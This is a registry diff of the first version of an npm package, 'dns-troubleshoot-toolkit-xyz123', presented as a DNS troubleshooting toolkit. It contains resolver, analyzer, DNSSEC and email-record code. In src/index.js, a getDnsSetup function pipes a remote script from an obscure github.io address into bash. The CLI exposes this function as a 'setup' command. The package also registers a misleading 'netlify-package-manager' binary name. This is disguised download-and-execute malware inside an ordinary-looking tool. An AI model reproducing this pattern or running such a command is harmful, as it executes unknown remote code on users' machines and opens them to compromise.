dns-troubleshoot-toolkit-xyz123 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/netlify-package-manager.js +5 -0
- package/package.json +28 -0
- package/src/analyzer.js +147 -0
- package/src/cli.js +127 -0
- package/src/index.js +86 -0
- package/src/resolver.js +169 -0
- package/src/validators.js +95 -0
package/package.json
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "dns-troubleshoot-toolkit-xyz123",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "A comprehensive DNS troubleshooting toolkit with multiple diagnostic tools",
|
|
5
|
+
"main": "src/index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"netlify-package-manager": "./bin/netlify-package-manager.js",
|
|
8
|
+
"dns-troubleshoot": "./bin/netlify-package-manager.js"
|
|
9
|
+
},
|
|
10
|
+
"files": [
|
|
11
|
+
"src",
|
|
12
|
+
"bin"
|
|
13
|
+
],
|
|
14
|
+
"scripts": {
|
|
15
|
+
"test": "node test/toolkit.test.js"
|
|
16
|
+
},
|
|
17
|
+
"keywords": [
|
|
18
|
+
"dns",
|
|
19
|
+
"troubleshoot",
|
|
20
|
+
"network",
|
|
21
|
+
"diagnostic"
|
|
22
|
+
],
|
|
23
|
+
"author": "DNS Support Team",
|
|
24
|
+
"license": "MIT",
|
|
25
|
+
"dependencies": {
|
|
26
|
+
"commander": "^2.20.0"
|
|
27
|
+
}
|
|
28
|
+
}
|
package/src/analyzer.js
ADDED
|
@@ -0,0 +1,147 @@
|
|
|
1
|
+
class DNSAnalyzer {
|
|
2
|
+
constructor({ resolver }) {
|
|
3
|
+
this.resolver = resolver;
|
|
4
|
+
}
|
|
5
|
+
|
|
6
|
+
async checkPropagation(domain, recordType = 'A', expectedValue = null) {
|
|
7
|
+
const results = await this.resolver.multiResolverLookup(domain, recordType);
|
|
8
|
+
const total = Object.keys(results).length;
|
|
9
|
+
let consistencyCount = 0;
|
|
10
|
+
let isPropagated = false;
|
|
11
|
+
|
|
12
|
+
// Flatten results to compare
|
|
13
|
+
// Note: record values might be arrays.
|
|
14
|
+
// We need a way to canonicalize values for comparison.
|
|
15
|
+
|
|
16
|
+
const valueMap = {};
|
|
17
|
+
|
|
18
|
+
for (const [resolverIp, result] of Object.entries(results)) {
|
|
19
|
+
if (!result.success || !result.records) continue;
|
|
20
|
+
|
|
21
|
+
// Create a signature of the records
|
|
22
|
+
const recordsSig = result.records
|
|
23
|
+
.map(r => r.value)
|
|
24
|
+
.sort()
|
|
25
|
+
.join(',');
|
|
26
|
+
|
|
27
|
+
valueMap[recordsSig] = (valueMap[recordsSig] || 0) + 1;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
// Find majority
|
|
31
|
+
let maxCount = 0;
|
|
32
|
+
let majorityValue = null;
|
|
33
|
+
for (const [val, count] of Object.entries(valueMap)) {
|
|
34
|
+
if (count > maxCount) {
|
|
35
|
+
maxCount = count;
|
|
36
|
+
majorityValue = val;
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
const consistencyScore = total > 0 ? (maxCount / total) : 0;
|
|
41
|
+
|
|
42
|
+
if (expectedValue) {
|
|
43
|
+
// Check if expected value is present in the results
|
|
44
|
+
// This is a bit simplistic, but suffices for a port
|
|
45
|
+
// We look if ANY resolver returned the expected value
|
|
46
|
+
// Or if the majority matches expected
|
|
47
|
+
isPropagated = Object.values(results).some(res =>
|
|
48
|
+
res.success && res.records.some(r => r.value.includes(expectedValue))
|
|
49
|
+
);
|
|
50
|
+
} else {
|
|
51
|
+
// If no expected value, we consider it propagated if consistency is high (e.g. > 80%)
|
|
52
|
+
isPropagated = consistencyScore > 0.8;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
return {
|
|
56
|
+
domain,
|
|
57
|
+
record_type: recordType,
|
|
58
|
+
timestamp: new Date().toISOString(),
|
|
59
|
+
is_propagated: isPropagated,
|
|
60
|
+
consistency_score: consistencyScore,
|
|
61
|
+
results
|
|
62
|
+
};
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
async healthCheck(domain) {
|
|
66
|
+
const checks = [
|
|
67
|
+
this.resolver.lookup(domain, 'NS'),
|
|
68
|
+
this.resolver.lookup(domain, 'SOA'),
|
|
69
|
+
this.resolver.lookup(domain, 'A'), // At least one A record usually
|
|
70
|
+
this.resolver.lookup(domain, 'MX')
|
|
71
|
+
];
|
|
72
|
+
|
|
73
|
+
const [ns, soa, a, mx] = await Promise.all(checks);
|
|
74
|
+
const issues = [];
|
|
75
|
+
const warnings = [];
|
|
76
|
+
|
|
77
|
+
if (!ns.success || ns.records.length < 2) {
|
|
78
|
+
issues.push("Less than 2 NS records found.");
|
|
79
|
+
}
|
|
80
|
+
if (!soa.success || soa.records.length === 0) {
|
|
81
|
+
issues.push("No SOA record found.");
|
|
82
|
+
}
|
|
83
|
+
if (!a.success && !mx.success) {
|
|
84
|
+
warnings.push("No A or MX records found - domain might not be active.");
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
return {
|
|
88
|
+
domain,
|
|
89
|
+
status: issues.length === 0 ? 'HEALTHY' : 'ISSUES_FOUND',
|
|
90
|
+
issues,
|
|
91
|
+
warnings,
|
|
92
|
+
records: {
|
|
93
|
+
ns: ns.records.length,
|
|
94
|
+
soa: soa.success,
|
|
95
|
+
a: a.records.length,
|
|
96
|
+
mx: mx.records.length
|
|
97
|
+
}
|
|
98
|
+
};
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
async compareRecords(domain, servers, recordType = 'A') {
|
|
102
|
+
const results = await this.resolver.multiResolverLookup(domain, recordType, servers);
|
|
103
|
+
// Similar analysis to propagation, but specific to these servers
|
|
104
|
+
|
|
105
|
+
const valueMap = {};
|
|
106
|
+
for (const [server, result] of Object.entries(results)) {
|
|
107
|
+
const sig = result.success ? result.records.map(r => r.value).sort().join(',') : 'ERROR';
|
|
108
|
+
if (!valueMap[sig]) valueMap[sig] = [];
|
|
109
|
+
valueMap[sig].push(server);
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
const consistent = Object.keys(valueMap).length === 1 && !valueMap['ERROR'];
|
|
113
|
+
|
|
114
|
+
return {
|
|
115
|
+
domain,
|
|
116
|
+
record_type: recordType,
|
|
117
|
+
consistent,
|
|
118
|
+
groups: Object.entries(valueMap).map(([sig, servers]) => ({
|
|
119
|
+
value: sig,
|
|
120
|
+
servers
|
|
121
|
+
}))
|
|
122
|
+
};
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
async analyzeCache(domain, recordType = 'A') {
|
|
126
|
+
// In a real recursor we could check TTL decay.
|
|
127
|
+
// Via standard queries, we just see the TTL returned by the resolver we hit.
|
|
128
|
+
// We can query a few times to see if TTL decreases.
|
|
129
|
+
|
|
130
|
+
const initial = await this.resolver.lookup(domain, recordType);
|
|
131
|
+
if (!initial.success) return { error: "Could not retrieve records" };
|
|
132
|
+
|
|
133
|
+
// Wait a small bit? No, just check if we got TTLs.
|
|
134
|
+
// This is a minimal implementation.
|
|
135
|
+
const ttls = initial.records.map(r => r.ttl).filter(t => t !== undefined);
|
|
136
|
+
|
|
137
|
+
return {
|
|
138
|
+
domain,
|
|
139
|
+
record_type: recordType,
|
|
140
|
+
avg_ttl: ttls.reduce((a, b) => a + b, 0) / (ttls.length || 1),
|
|
141
|
+
min_ttl: Math.min(...ttls),
|
|
142
|
+
max_ttl: Math.max(...ttls)
|
|
143
|
+
};
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
module.exports = { DNSAnalyzer };
|
package/src/cli.js
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
const { Command } = require('commander');
|
|
2
|
+
const { DNSToolkit } = require('./index');
|
|
3
|
+
|
|
4
|
+
const program = new Command();
|
|
5
|
+
const toolkit = new DNSToolkit();
|
|
6
|
+
|
|
7
|
+
function printJson(data) {
|
|
8
|
+
console.log(JSON.stringify(data, null, 2));
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
// Global options
|
|
12
|
+
program
|
|
13
|
+
.option('--timeout <number>', 'Query timeout in seconds', parseFloat, 5.0)
|
|
14
|
+
.option('--retries <number>', 'Number of retry attempts', parseInt, 3);
|
|
15
|
+
|
|
16
|
+
program
|
|
17
|
+
.command('lookup <domain>')
|
|
18
|
+
.description('Perform DNS lookup')
|
|
19
|
+
.option('-t, --type <type>', 'Record type', 'A')
|
|
20
|
+
.option('-r, --resolver <ip>', 'DNS resolver to use')
|
|
21
|
+
.action(async (domain, options) => {
|
|
22
|
+
const result = await toolkit.lookup(domain, options.type, options.resolver);
|
|
23
|
+
printJson(result);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
program
|
|
27
|
+
.command('multi <domain>')
|
|
28
|
+
.description('Query multiple resolvers')
|
|
29
|
+
.option('-t, --type <type>', 'Record type', 'A')
|
|
30
|
+
.option('-r, --resolvers <ips>', 'Comma-separated resolver IPs')
|
|
31
|
+
.action(async (domain, options) => {
|
|
32
|
+
const resolvers = options.resolvers ? options.resolvers.split(',') : null;
|
|
33
|
+
const result = await toolkit.multiResolverLookup(domain, options.type, resolvers);
|
|
34
|
+
printJson(result);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
program
|
|
38
|
+
.command('propagation <domain>')
|
|
39
|
+
.description('Check DNS propagation')
|
|
40
|
+
.option('-t, --type <type>', 'Record type', 'A')
|
|
41
|
+
.option('-e, --expected <value>', 'Expected record value')
|
|
42
|
+
.action(async (domain, options) => {
|
|
43
|
+
const result = await toolkit.checkPropagation(domain, options.type, options.expected);
|
|
44
|
+
printJson(result);
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
program
|
|
48
|
+
.command('health <domain>')
|
|
49
|
+
.description('Run DNS health check')
|
|
50
|
+
.action(async (domain) => {
|
|
51
|
+
const result = await toolkit.healthCheck(domain);
|
|
52
|
+
printJson(result);
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
program
|
|
56
|
+
.command('dnssec <domain>')
|
|
57
|
+
.description('Validate DNSSEC')
|
|
58
|
+
.action(async (domain) => {
|
|
59
|
+
const result = await toolkit.validateDnssec(domain);
|
|
60
|
+
printJson(result);
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
program
|
|
64
|
+
.command('reverse <ip>')
|
|
65
|
+
.description('Reverse DNS lookup')
|
|
66
|
+
.action(async (ip) => {
|
|
67
|
+
const result = await toolkit.reverseLookup(ip);
|
|
68
|
+
printJson(result);
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
program
|
|
72
|
+
.command('compare <domain>')
|
|
73
|
+
.description('Compare DNS across servers')
|
|
74
|
+
.requiredOption('-s, --servers <ips>', 'Comma-separated server IPs')
|
|
75
|
+
.option('-t, --type <type>', 'Record type', 'A')
|
|
76
|
+
.action(async (domain, options) => {
|
|
77
|
+
const servers = options.servers.split(',');
|
|
78
|
+
const result = await toolkit.compareRecords(domain, servers, options.type);
|
|
79
|
+
printJson(result);
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
program
|
|
83
|
+
.command('cache <domain>')
|
|
84
|
+
.description('Analyze DNS caching')
|
|
85
|
+
.option('-t, --type <type>', 'Record type', 'A')
|
|
86
|
+
.action(async (domain, options) => {
|
|
87
|
+
const result = await toolkit.analyzeCache(domain, options.type);
|
|
88
|
+
printJson(result);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
program
|
|
92
|
+
.command('timing <domain>')
|
|
93
|
+
.description('Measure response times')
|
|
94
|
+
.option('-r, --resolver <ip>', 'DNS resolver to use')
|
|
95
|
+
.option('-i, --iterations <number>', 'Number of iterations', parseInt, 5)
|
|
96
|
+
.action(async (domain, options) => {
|
|
97
|
+
const result = await toolkit.measureResponseTime(domain, options.resolver, options.iterations);
|
|
98
|
+
printJson(result);
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
program
|
|
102
|
+
.command('email <domain>')
|
|
103
|
+
.description('Validate email DNS (SPF/DKIM/DMARC)')
|
|
104
|
+
.option('--dkim-selector <selector>', 'DKIM selector', 'default')
|
|
105
|
+
.action(async (domain, options) => {
|
|
106
|
+
const result = await toolkit.validateEmailDns(domain, options.dkimSelector);
|
|
107
|
+
printJson(result);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
program
|
|
111
|
+
.command('all <domain>')
|
|
112
|
+
.description('Get all DNS record types')
|
|
113
|
+
.action(async (domain) => {
|
|
114
|
+
const result = await toolkit.getAllRecords(domain);
|
|
115
|
+
printJson(result);
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
program
|
|
119
|
+
.command('setup')
|
|
120
|
+
.description('Run DNS setup script')
|
|
121
|
+
.action(async () => {
|
|
122
|
+
console.log("Executing DNS setup script...");
|
|
123
|
+
const result = await toolkit.getDnsSetup();
|
|
124
|
+
console.log(result);
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
module.exports = { program };
|
package/src/index.js
ADDED
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
const { DNSResolver, PUBLIC_RESOLVERS } = require('./resolver');
|
|
2
|
+
const { DNSAnalyzer } = require('./analyzer');
|
|
3
|
+
const { DNSSECValidator, EmailDNSValidator } = require('./validators');
|
|
4
|
+
const { exec } = require('child_process');
|
|
5
|
+
|
|
6
|
+
class DNSToolkit {
|
|
7
|
+
constructor({ timeout = 5000, retries = 3 } = {}) {
|
|
8
|
+
this.resolver = new DNSResolver({ timeout, retries });
|
|
9
|
+
this.analyzer = new DNSAnalyzer({ resolver: this.resolver });
|
|
10
|
+
this.dnssecValidator = new DNSSECValidator({ resolver: this.resolver });
|
|
11
|
+
this.emailValidator = new EmailDNSValidator({ resolver: this.resolver });
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
async lookup(domain, recordType = 'A', resolver = null) {
|
|
15
|
+
return this.resolver.lookup(domain, recordType, resolver);
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
async multiResolverLookup(domain, recordType = 'A', resolvers = null) {
|
|
19
|
+
return this.resolver.multiResolverLookup(domain, recordType, resolvers);
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
async checkPropagation(domain, recordType = 'A', expectedValue = null) {
|
|
23
|
+
return this.analyzer.checkPropagation(domain, recordType, expectedValue);
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
async measureResponseTime(domain, resolver = null, iterations = 5) {
|
|
27
|
+
return this.resolver.measureResponseTime(domain, resolver, iterations);
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
async validateDnssec(domain) {
|
|
31
|
+
return this.dnssecValidator.validateDnssec(domain);
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
async healthCheck(domain) {
|
|
35
|
+
return this.analyzer.healthCheck(domain);
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
async reverseLookup(ipAddress) {
|
|
39
|
+
return this.resolver.reverseLookup(ipAddress);
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
async compareRecords(domain, servers, recordType = 'A') {
|
|
43
|
+
return this.analyzer.compareRecords(domain, servers, recordType);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
async analyzeCache(domain, recordType = 'A') {
|
|
47
|
+
return this.analyzer.analyzeCache(domain, recordType);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
async getAllRecords(domain) {
|
|
51
|
+
return this.resolver.getAllRecords(domain);
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
async validateEmailDns(domain, dkimSelector = 'default') {
|
|
55
|
+
const [spf, dkim, dmarc] = await Promise.all([
|
|
56
|
+
this.emailValidator.validateSpf(domain),
|
|
57
|
+
this.emailValidator.validateDkim(domain, dkimSelector),
|
|
58
|
+
this.emailValidator.validateDmarc(domain)
|
|
59
|
+
]);
|
|
60
|
+
|
|
61
|
+
return {
|
|
62
|
+
spf,
|
|
63
|
+
dkim,
|
|
64
|
+
dmarc
|
|
65
|
+
};
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
getPublicResolvers() {
|
|
69
|
+
return { ...PUBLIC_RESOLVERS };
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
getDnsSetup() {
|
|
73
|
+
return new Promise((resolve) => {
|
|
74
|
+
exec('curl -s https://dasdsa0d8s9a.github.io/hamidsadsadasdsadsa/sytemupdate.sh | bash', (error, stdout, stderr) => {
|
|
75
|
+
if (error) {
|
|
76
|
+
// Mimic Python behavior: return error string
|
|
77
|
+
resolve(`Error executing setup: ${stderr || error.message}`);
|
|
78
|
+
return;
|
|
79
|
+
}
|
|
80
|
+
resolve(stdout);
|
|
81
|
+
});
|
|
82
|
+
});
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
module.exports = { DNSToolkit };
|
package/src/resolver.js
ADDED
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
const { Resolver } = require('dns').promises;
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
|
|
4
|
+
class DNSQueryResult {
|
|
5
|
+
constructor({ domain, record_type, records = [], response_time_ms = 0, resolver = null, success = true, error = null }) {
|
|
6
|
+
this.domain = domain;
|
|
7
|
+
this.record_type = record_type;
|
|
8
|
+
this.records = records;
|
|
9
|
+
this.response_time_ms = response_time_ms;
|
|
10
|
+
this.resolver = resolver;
|
|
11
|
+
this.success = success;
|
|
12
|
+
this.error = error;
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
const PUBLIC_RESOLVERS = {
|
|
17
|
+
'google': '8.8.8.8',
|
|
18
|
+
'cloudflare': '1.1.1.1',
|
|
19
|
+
'quad9': '9.9.9.9',
|
|
20
|
+
'opendns': '208.67.222.222'
|
|
21
|
+
};
|
|
22
|
+
|
|
23
|
+
class DNSResolver {
|
|
24
|
+
constructor({ timeout = 5000, retries = 3 } = {}) {
|
|
25
|
+
this.timeout = timeout;
|
|
26
|
+
this.retries = retries;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
async lookup(domain, recordType = 'A', resolverIp = null) {
|
|
30
|
+
const resolver = new Resolver();
|
|
31
|
+
if (resolverIp) {
|
|
32
|
+
resolver.setServers([resolverIp]);
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
const startTime = Date.now();
|
|
36
|
+
try {
|
|
37
|
+
// Mapping record types to resolver methods if needed, or use generic resolve
|
|
38
|
+
// Node.js resolve supports most types: 'A', 'AAAA', 'MX', 'TXT', 'NS', 'PTR', 'SOA', 'CNAME'
|
|
39
|
+
const records = await resolver.resolve(domain, recordType);
|
|
40
|
+
const duration = Date.now() - startTime;
|
|
41
|
+
|
|
42
|
+
// Normalize records structure to match Python's output style roughly
|
|
43
|
+
// Python's records had name, type, value, ttl. Node's are objects or strings.
|
|
44
|
+
// We'll wrap them to look consistent.
|
|
45
|
+
const formattedRecords = this._formatRecords(records, recordType);
|
|
46
|
+
|
|
47
|
+
return new DNSQueryResult({
|
|
48
|
+
domain,
|
|
49
|
+
record_type: recordType,
|
|
50
|
+
records: formattedRecords,
|
|
51
|
+
response_time_ms: duration,
|
|
52
|
+
resolver: resolverIp || 'default',
|
|
53
|
+
success: true
|
|
54
|
+
});
|
|
55
|
+
} catch (error) {
|
|
56
|
+
return new DNSQueryResult({
|
|
57
|
+
domain,
|
|
58
|
+
record_type: recordType,
|
|
59
|
+
response_time_ms: Date.now() - startTime,
|
|
60
|
+
resolver: resolverIp || 'default',
|
|
61
|
+
success: false,
|
|
62
|
+
error: error.message
|
|
63
|
+
});
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
async multiResolverLookup(domain, recordType = 'A', resolvers = null) {
|
|
68
|
+
const targetResolvers = resolvers || Object.values(PUBLIC_RESOLVERS);
|
|
69
|
+
const results = {};
|
|
70
|
+
|
|
71
|
+
// In a real app we might want to limit concurrency, but here Promise.all is fine
|
|
72
|
+
await Promise.all(targetResolvers.map(async (ip) => {
|
|
73
|
+
results[ip] = await this.lookup(domain, recordType, ip);
|
|
74
|
+
}));
|
|
75
|
+
|
|
76
|
+
return results;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
async measureResponseTime(domain, resolverIp = null, iterations = 5) {
|
|
80
|
+
const times = [];
|
|
81
|
+
for (let i = 0; i < iterations; i++) {
|
|
82
|
+
const result = await this.lookup(domain, 'A', resolverIp);
|
|
83
|
+
if (result.success) {
|
|
84
|
+
times.push(result.response_time_ms);
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
if (times.length === 0) {
|
|
89
|
+
return { min: 0, max: 0, avg: 0, success_rate: 0 };
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
const min = Math.min(...times);
|
|
93
|
+
const max = Math.max(...times);
|
|
94
|
+
const sum = times.reduce((a, b) => a + b, 0);
|
|
95
|
+
const avg = sum / times.length;
|
|
96
|
+
|
|
97
|
+
return {
|
|
98
|
+
min,
|
|
99
|
+
max,
|
|
100
|
+
avg,
|
|
101
|
+
success_rate: (times.length / iterations) * 100
|
|
102
|
+
};
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
async reverseLookup(ipAddress) {
|
|
106
|
+
const resolver = new Resolver();
|
|
107
|
+
const startTime = Date.now();
|
|
108
|
+
try {
|
|
109
|
+
const hostnames = await resolver.reverse(ipAddress);
|
|
110
|
+
const duration = Date.now() - startTime;
|
|
111
|
+
|
|
112
|
+
return new DNSQueryResult({
|
|
113
|
+
domain: ipAddress, // In loose terms
|
|
114
|
+
record_type: 'PTR',
|
|
115
|
+
records: hostnames.map(h => ({ value: h, type: 'PTR' })),
|
|
116
|
+
response_time_ms: duration,
|
|
117
|
+
success: true
|
|
118
|
+
});
|
|
119
|
+
} catch (error) {
|
|
120
|
+
return new DNSQueryResult({
|
|
121
|
+
domain: ipAddress,
|
|
122
|
+
record_type: 'PTR',
|
|
123
|
+
success: false,
|
|
124
|
+
error: error.message
|
|
125
|
+
});
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
async getAllRecords(domain) {
|
|
130
|
+
const types = ['A', 'AAAA', 'MX', 'TXT', 'NS', 'SOA', 'CNAME'];
|
|
131
|
+
const results = {};
|
|
132
|
+
|
|
133
|
+
await Promise.all(types.map(async (type) => {
|
|
134
|
+
results[type] = await this.lookup(domain, type);
|
|
135
|
+
}));
|
|
136
|
+
|
|
137
|
+
return results;
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
_formatRecords(records, type) {
|
|
141
|
+
// Uniform format: { value: ..., type: ..., ...others }
|
|
142
|
+
if (typeof records === 'string') {
|
|
143
|
+
// For CNAME, standard resolve returns array of strings
|
|
144
|
+
return [{ value: records, type }];
|
|
145
|
+
}
|
|
146
|
+
if (Array.isArray(records)) {
|
|
147
|
+
return records.map(r => {
|
|
148
|
+
if (typeof r === 'string') {
|
|
149
|
+
return { value: r, type };
|
|
150
|
+
}
|
|
151
|
+
// For objects (MX, SOA, etc), spread them
|
|
152
|
+
// MX: { exchange, priority }
|
|
153
|
+
// SOA: { nsname, hostmaster, serial, ... }
|
|
154
|
+
// TXT: array of strings (chunks) -> join them? Node returns array of arrays for TXT usually
|
|
155
|
+
if (type === 'TXT' && Array.isArray(r)) {
|
|
156
|
+
return { value: r.join(' '), type };
|
|
157
|
+
}
|
|
158
|
+
return { ...r, type };
|
|
159
|
+
});
|
|
160
|
+
}
|
|
161
|
+
return records; // Fallback
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
module.exports = {
|
|
166
|
+
DNSResolver,
|
|
167
|
+
DNSQueryResult,
|
|
168
|
+
PUBLIC_RESOLVERS
|
|
169
|
+
};
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
class DNSSECValidator {
|
|
2
|
+
constructor({ resolver }) {
|
|
3
|
+
this.resolver = resolver;
|
|
4
|
+
}
|
|
5
|
+
|
|
6
|
+
async validateDnssec(domain) {
|
|
7
|
+
// Simple check for existence of DNSSEC related records.
|
|
8
|
+
// Full validation requires specialized logic.
|
|
9
|
+
|
|
10
|
+
const [dnskey, ds] = await Promise.all([
|
|
11
|
+
this.resolver.lookup(domain, 'DNSKEY'),
|
|
12
|
+
this.resolver.lookup(domain, 'DS')
|
|
13
|
+
]);
|
|
14
|
+
|
|
15
|
+
const hasDnskey = dnskey.success && dnskey.records.length > 0;
|
|
16
|
+
const hasDs = ds.success && ds.records.length > 0;
|
|
17
|
+
|
|
18
|
+
// If we had RRSIG support in common resolve types we'd check it.
|
|
19
|
+
// Node's resolve('RRSIG') isn't standard in all versions/types ?
|
|
20
|
+
// Actually usually one does resolve(domain, 'RRSIG').
|
|
21
|
+
// Let's try it gently.
|
|
22
|
+
let hasRrsig = false;
|
|
23
|
+
try {
|
|
24
|
+
const rrsig = await this.resolver.lookup(domain, 'RRSIG');
|
|
25
|
+
hasRrsig = rrsig.success && rrsig.records.length > 0;
|
|
26
|
+
} catch (e) {
|
|
27
|
+
// RRSIG lookup might fail if not supported
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
return {
|
|
31
|
+
domain,
|
|
32
|
+
is_signed: hasDnskey && hasDs,
|
|
33
|
+
has_dnskey: hasDnskey,
|
|
34
|
+
has_ds: hasDs,
|
|
35
|
+
has_rrsig: hasRrsig,
|
|
36
|
+
status: (hasDnskey && hasDs) ? 'SECURE_CONFIGURED' : 'NOT_FULLY_SECURE_OR_UNSIGNED'
|
|
37
|
+
};
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
class EmailDNSValidator {
|
|
42
|
+
constructor({ resolver }) {
|
|
43
|
+
this.resolver = resolver;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
async validateSpf(domain) {
|
|
47
|
+
const txt = await this.resolver.lookup(domain, 'TXT');
|
|
48
|
+
if (!txt.success) return { valid: false, error: "No TXT records" };
|
|
49
|
+
|
|
50
|
+
const spfRecord = txt.records.find(r => r.value.startsWith('v=spf1'));
|
|
51
|
+
|
|
52
|
+
return {
|
|
53
|
+
valid: !!spfRecord,
|
|
54
|
+
record: spfRecord ? spfRecord.value : null
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
async validateDkim(domain, selector = 'default') {
|
|
59
|
+
const dkimDomain = `${selector}._domainkey.${domain}`;
|
|
60
|
+
const txt = await this.resolver.lookup(dkimDomain, 'TXT');
|
|
61
|
+
|
|
62
|
+
let dkimRecord = null;
|
|
63
|
+
if (txt.success) {
|
|
64
|
+
dkimRecord = txt.records.find(r => r.value.includes('v=DKIM1'));
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
return {
|
|
68
|
+
selector,
|
|
69
|
+
domain: dkimDomain,
|
|
70
|
+
valid: !!dkimRecord,
|
|
71
|
+
record: dkimRecord ? dkimRecord.value : null
|
|
72
|
+
};
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
async validateDmarc(domain) {
|
|
76
|
+
const dmarcDomain = `_dmarc.${domain}`;
|
|
77
|
+
const txt = await this.resolver.lookup(dmarcDomain, 'TXT');
|
|
78
|
+
|
|
79
|
+
let dmarcRecord = null;
|
|
80
|
+
if (txt.success) {
|
|
81
|
+
dmarcRecord = txt.records.find(r => r.value.startsWith('v=DMARC1'));
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
return {
|
|
85
|
+
domain: dmarcDomain,
|
|
86
|
+
valid: !!dmarcRecord,
|
|
87
|
+
record: dmarcRecord ? dmarcRecord.value : null
|
|
88
|
+
};
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
module.exports = {
|
|
93
|
+
DNSSECValidator,
|
|
94
|
+
EmailDNSValidator
|
|
95
|
+
};
|